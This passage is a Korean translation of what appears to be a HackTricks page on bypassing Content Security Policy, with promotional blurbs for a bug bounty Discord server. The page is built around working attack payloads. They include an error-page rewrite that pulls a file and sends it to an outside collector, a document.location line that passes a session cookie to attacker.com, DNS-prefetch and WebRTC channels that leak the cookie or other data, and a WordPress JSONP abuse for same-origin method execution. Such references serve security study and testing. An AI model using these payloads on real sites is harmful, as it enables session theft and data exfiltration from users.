또 다른 기술은 CSP 자체를 이용하여 비밀 서브도메인을 유추하는 것입니다. 이 방법은 이진 검색 알고리즘에 의존하며, 특정 도메인을 의도적으로 차단하도록 CSP를 조정합니다. 예를 들어, 비밀 서브도메인이 알려지지 않은 문자로 구성되어 있다면, CSP 지시어를 수정하여 이러한 서브도메인을 차단하거나 허용함으로써 반복적으로 다른 서브도메인을 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하기 위해 CSP가 설정될 수 있는 방식을 보여주는 코드 조각입니다:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

CSP에 의해 차단되거나 허용된 요청을 모니터링함으로써, 비밀 서브도메인에서 가능한 문자들을 좁힐 수 있으며, 결국 전체 URL을 밝혀낼 수 있습니다.

두 방법 모두 CSP 구현 및 브라우저에서의 동작의 미세한 차이를 이용하여, 겉보기에는 안전한 정책이 어떻게 의도치 않게 민감한 정보를 유출할 수 있는지를 보여줍니다.

여기에서의 트릭.

경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 HackenProof Discord 서버에 참여하세요!

해킹 통찰력 해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.

실시간 해킹 뉴스 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.

최신 공지사항 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.

오늘 Discord에서 저희와 함께하고 최고의 해커들과 협업을 시작하세요!

CSP 우회를 위한 안전하지 않은 기술

너무 많은 매개변수로 인한 PHP 오류

이 비디오에서 언급된 마지막 기술에 따르면, 너무 많은 매개변수(1001 GET 매개변수, POST 매개변수 및 20개 이상의 파일로도 가능)를 보내면, 정의된 **header()**가 PHP 웹 코드에서 전송되지 않습니다. 이는 오류를 유발하기 때문입니다.

PHP 응답 버퍼 오버로드

PHP는 기본적으로 4096 바이트로 응답을 버퍼링하는 것으로 알려져 있습니다. 따라서 PHP가 경고를 표시하는 경우, 경고 안에 충분한 데이터를 제공함으로써, 응답CSP 헤더 이전전송되어 헤더가 무시됩니다. 그런 다음, 이 기술은 기본적으로 경고로 응답 버퍼를 채우는 것으로 구성되어 CSP 헤더가 전송되지 않도록 합니다.

이 글에서 아이디어를 얻었습니다.

오류 페이지 재작성

이 글에서 CSP 보호를 우회하기 위해 오류 페이지(잠재적으로 CSP가 없는)를 로드하고 그 내용을 재작성하는 것이 가능했던 것으로 보입니다.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME은 페이지의 엔드포인트에서 XSS(또는 매우 제한된 XSS)를 악용하여 동일 출처의 다른 엔드포인트를 악용하는 기술입니다. 이는 공격자 페이지에서 취약한 엔드포인트를 로드한 다음, 악용하려는 동일 출처의 실제 엔드포인트로 공격자 페이지를 새로 고침하여 수행됩니다. 이렇게 하면 취약한 엔드포인트페이로드opener 객체를 사용하여 악용할 실제 엔드포인트의 DOM에 접근할 수 있습니다. 자세한 내용은 다음을 확인하세요:

SOME - Same Origin Method Execution

또한, wordpress/wp-json/wp/v2/users/1?_jsonp=dataJSONP 엔드포인트가 있어 출력에 전송된 데이터반영합니다(단, 문자, 숫자 및 점만 허용됨).

공격자는 해당 엔드포인트를 악용하여 WordPress에 대한 SOME 공격을 생성하고 <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> 안에 임베드할 수 있습니다. 이 스크립트'self'에 의해 허용되기 때문에 로드됩니다. 또한, WordPress가 설치되어 있기 때문에 공격자는 CSP를 우회하는 취약한 콜백 엔드포인트를 통해 SOME 공격을 악용하여 사용자에게 더 많은 권한을 부여하거나 새로운 플러그인을 설치할 수 있습니다... 이 공격을 수행하는 방법에 대한 자세한 내용은 https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/를 확인하세요.

CSP Exfiltration Bypasses

엄격한 CSP가 있어 외부 서버와 상호작용하는 것을 허용하지 않는 경우, 정보를 유출하기 위해 항상 할 수 있는 몇 가지 방법이 있습니다.

Location

위치 정보를 업데이트하여 공격자의 서버에 비밀 정보를 전송할 수 있습니다:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta tag

메타 태그를 주입하여 리디렉션할 수 있습니다 (이는 단순한 리디렉션이며, 콘텐츠가 유출되지 않습니다)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

페이지를 더 빠르게 로드하기 위해, 브라우저는 호스트 이름을 IP 주소로 미리 해결하고 이를 나중에 사용하기 위해 캐시합니다. 브라우저에게 호스트 이름을 미리 해결하도록 지시할 수 있습니다: <link rel="dns-prefetch" href="something.com">

이 동작을 악용하여 DNS 요청을 통해 민감한 정보를 유출할 수 있습니다:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

또 다른 방법:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

이것이 발생하지 않도록 서버는 HTTP 헤더를 보낼 수 있습니다:

X-DNS-Prefetch-Control: off

이 기술은 헤드리스 브라우저(봇)에서는 작동하지 않는 것 같습니다.

WebRTC

여러 페이지에서 WebRTC가 CSP의 connect-src 정책을 확인하지 않는다고 읽을 수 있습니다.

실제로 _DNS 요청_을 사용하여 정보를 _유출_할 수 있습니다. 이 코드를 확인해 보세요:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

또 다른 옵션:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

CSP 정책 온라인 확인

CSP 자동 생성

https://csper.io/docs/generating-content-security-policy

참고자료

경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 HackenProof Discord 서버에 참여하세요!

해킹 통찰력 해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.

실시간 해킹 뉴스 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요.

최신 공지사항 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.

지금 Discord에 참여하고 최고의 해커들과 협업을 시작하세요!

HackTricks 지원하기

Last updated